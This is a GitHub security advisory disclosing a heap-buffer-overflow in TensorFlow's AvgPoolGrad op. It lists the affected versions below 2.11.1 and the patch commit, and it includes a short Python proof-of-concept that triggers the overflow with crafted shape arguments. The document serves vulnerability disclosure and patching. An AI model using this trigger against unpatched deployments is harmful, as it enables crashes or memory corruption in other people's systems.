GHSA-6hg6-5c2q-7rcr
TensorFlow has Heap-buffer-overflow in AvgPoolGrad
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| PyPI | tensorflow | < 2.11.1 | 2.11.1 |
| PyPI | tensorflow-cpu | < 2.11.1 | 2.11.1 |
Details
As written in the advisory (Markdown source, shown as plain text).
### Impact
```python
import os
os.environ['TF_ENABLE_ONEDNN_OPTS'] = '0'
import tensorflow as tf
print(tf.__version__)
with tf.device("CPU"):
ksize = [1, 40, 128, 1]
strides = [1, 128, 128, 30]
padding = "SAME"
data_format = "NHWC"
orig_input_shape = [11, 9, 78, 9]
grad = tf.saturate_cast(tf.random.uniform([16, 16, 16, 16], minval=-128, maxval=129, dtype=tf.int64), dtype=tf.float32)
res = tf.raw_ops.AvgPoolGrad(
ksize=ksize,
strides=strides,
padding=padding,
data_format=data_format,
orig_input_shape=orig_input_shape,
grad=grad,
)
```
### Patches
We have patched the issue in GitHub commit [ddaac2bdd099bec5d7923dea45276a7558217e5b](https://github.com/tensorflow/tensorflow/commit/ddaac2bdd099bec5d7923dea45276a7558217e5b).
The fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by <[email protected]>
References
External links from the advisory. They lead to third-party sites.